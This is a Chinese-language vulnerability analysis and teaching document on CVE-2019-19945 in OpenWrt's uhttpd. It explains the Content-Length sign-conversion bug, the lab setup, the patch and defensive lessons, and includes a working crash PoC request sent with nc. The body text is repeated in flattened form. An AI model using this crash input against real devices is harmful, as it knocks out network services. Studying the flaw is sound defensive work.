uhttpd CVE-2019-19945漏洞分析
字数 1587 2025-08-18 11:35:59

uhttpd CVE-2019-19945漏洞分析与教学文档

1. 漏洞概述

CVE-2019-19945是OpenWrt/LEDE默认使用的轻量级web服务器uhttpd中的一个堆缓冲区越界访问漏洞,可能导致服务崩溃。该漏洞影响OpenWrt 18.06.4及之前版本,在18.06.5版本中修复。

2. 受影响环境

  • 受影响版本:OpenWrt/LEDE 18.06.4及之前版本
  • 修复版本:OpenWrt/LEDE 18.06.5
  • 漏洞组件:uhttpd(OpenWrt默认web服务器)

3. 漏洞原理分析

3.1 漏洞根源

漏洞源于client.c文件中client_parse_header函数对Content-Length头部的处理不当:

  1. 使用strtoulContent-Length值转换为无符号长整型
  2. 然后将该值赋给http_request结构体的content_length字段(有符号int类型)
  3. Content-Length值过大时,转换为有符号int可能导致负值

3.2 漏洞触发流程

  1. 请求处理流程

    • uh_client_read_cbread_cbs[cl->state] → 根据请求状态调用相应处理函数
    • 请求处理分为三个阶段:
      • CLIENT_STATE_INIT:处理请求行
      • CLIENT_STATE_HEADER:处理头部
      • CLIENT_STATE_DATA:处理数据
  2. 关键函数调用链

    uh_client_read_cb
    ├─ client_header_cb
    │   └─ client_parse_header
    └─ client_data_cb
        └─ client_poll_post_data
            ├─ ustream_get_read_buf
            ├─ min(r->content_length, len)
            └─ ustream_consume
    
  3. 漏洞触发细节

    • client_parse_header中,Content-Length被转换为负值
    • client_poll_post_data中,负值被传递给ustream_consume
    • ustream_consume中的buf->data被加上负值,可能导致指针变为非法值
    • 后续调用ustream_get_read_buf返回非法指针
    • 最终在strstr(buf + offset, "\r\n")处导致崩溃

4. 漏洞复现

4.1 环境搭建

使用Docker搭建测试环境:

# 获取18.04.4镜像
sudo docker import https://archive.openwrt.org/releases/18.06.4/targets/x86/generic/openwrt-18.06.4-x86-generic-generic-rootfs.tar.gz openwrt-x86-generic-18.06.4-rootfsq

# 创建容器
sudo docker run -it --privileged -p 8001:8001 openwrt-x86-generic-18.06.4-rootfsq /bin/ash

# 容器内设置uhttpd测试环境
mkdir /webroot
mkdir /webroot/URLprefix
touch /webroot/URLprefix/webfile
chmod +x /webroot/URLprefix/webfile
uhttpd -f -p 0.0.0.0:8001 -x /URLprefix -h /webroot

4.2 触发POC

创建crash.poc文件:

POST /cgi-bin/luci HTTP/1.0
Transfer-Encoding: chunked
Content-Length: -100000

发送POC:

nc 127.0.0.1 8001 < ./crash.poc

预期结果:uhttpd服务崩溃,输出"Segmentation fault (core dumped)"

5. 补丁分析

修复补丁主要修改了client.c文件:

349c349
< if (err && *err) {
---
> if ((err && *err) || r->content_length < 0) {

447c447
< if (sep && *sep) {
---
> if ((sep && *sep) || r->content_length < 0) {

修复逻辑:

  1. client_parse_header中增加对content_length是否为负的检查
  2. client_poll_post_data中,如果content_length为负,则重置为0并清除传输标志

6. 漏洞利用限制

该漏洞主要导致服务崩溃,难以实现远程代码执行(RCE),属于拒绝服务(DoS)漏洞。

7. 教学要点总结

  1. 类型转换风险

    • 无符号到有符号转换可能导致意外负值
    • 应始终验证转换后的值是否在预期范围内
  2. HTTP协议实现

    • 解析用户提供的头部时需要严格验证
    • 特别注意Content-Length等关键字段的处理
  3. 缓冲区管理

    • 指针运算前必须验证指针有效性
    • 避免使用可能为负值的长度参数
  4. 测试方法

    • 边界值测试(极大/极小值)
    • 类型转换测试(有符号/无符号)
    • 异常输入测试(非法字符、格式错误等)

8. 防御建议

  1. 对所有用户提供的数值进行范围检查
  2. 在类型转换后验证值是否合理
  3. 使用静态分析工具检测可能的整数溢出问题
  4. 及时更新到修复版本(OpenWrt 18.06.5+)

9. 扩展学习

  1. 类似漏洞模式:

    • CVE-2019-9636:Python urllib头部解析整数溢出
    • CVE-2018-1000007:cURL整数溢出漏洞
  2. 相关技术:

    • 安全整数运算
    • 边界检查技术
    • 静态代码分析工具使用
uhttpd CVE-2019-19945漏洞分析与教学文档 1. 漏洞概述 CVE-2019-19945是OpenWrt/LEDE默认使用的轻量级web服务器uhttpd中的一个堆缓冲区越界访问漏洞,可能导致服务崩溃。该漏洞影响OpenWrt 18.06.4及之前版本,在18.06.5版本中修复。 2. 受影响环境 受影响版本:OpenWrt/LEDE 18.06.4及之前版本 修复版本:OpenWrt/LEDE 18.06.5 漏洞组件:uhttpd(OpenWrt默认web服务器) 3. 漏洞原理分析 3.1 漏洞根源 漏洞源于 client.c 文件中 client_parse_header 函数对 Content-Length 头部的处理不当: 使用 strtoul 将 Content-Length 值转换为无符号长整型 然后将该值赋给 http_request 结构体的 content_length 字段(有符号int类型) 当 Content-Length 值过大时,转换为有符号int可能导致负值 3.2 漏洞触发流程 请求处理流程 : uh_client_read_cb → read_cbs[cl->state] → 根据请求状态调用相应处理函数 请求处理分为三个阶段: CLIENT_STATE_INIT :处理请求行 CLIENT_STATE_HEADER :处理头部 CLIENT_STATE_DATA :处理数据 关键函数调用链 : 漏洞触发细节 : 在 client_parse_header 中, Content-Length 被转换为负值 在 client_poll_post_data 中,负值被传递给 ustream_consume ustream_consume 中的 buf->data 被加上负值,可能导致指针变为非法值 后续调用 ustream_get_read_buf 返回非法指针 最终在 strstr(buf + offset, "\r\n") 处导致崩溃 4. 漏洞复现 4.1 环境搭建 使用Docker搭建测试环境: 4.2 触发POC 创建crash.poc文件: 发送POC: 预期结果:uhttpd服务崩溃,输出"Segmentation fault (core dumped)" 5. 补丁分析 修复补丁主要修改了 client.c 文件: 修复逻辑: 在 client_parse_header 中增加对 content_length 是否为负的检查 在 client_poll_post_data 中,如果 content_length 为负,则重置为0并清除传输标志 6. 漏洞利用限制 该漏洞主要导致服务崩溃,难以实现远程代码执行(RCE),属于拒绝服务(DoS)漏洞。 7. 教学要点总结 类型转换风险 : 无符号到有符号转换可能导致意外负值 应始终验证转换后的值是否在预期范围内 HTTP协议实现 : 解析用户提供的头部时需要严格验证 特别注意 Content-Length 等关键字段的处理 缓冲区管理 : 指针运算前必须验证指针有效性 避免使用可能为负值的长度参数 测试方法 : 边界值测试(极大/极小值) 类型转换测试(有符号/无符号) 异常输入测试(非法字符、格式错误等) 8. 防御建议 对所有用户提供的数值进行范围检查 在类型转换后验证值是否合理 使用静态分析工具检测可能的整数溢出问题 及时更新到修复版本(OpenWrt 18.06.5+) 9. 扩展学习 类似漏洞模式: CVE-2019-9636:Python urllib头部解析整数溢出 CVE-2018-1000007:cURL整数溢出漏洞 相关技术: 安全整数运算 边界检查技术 静态代码分析工具使用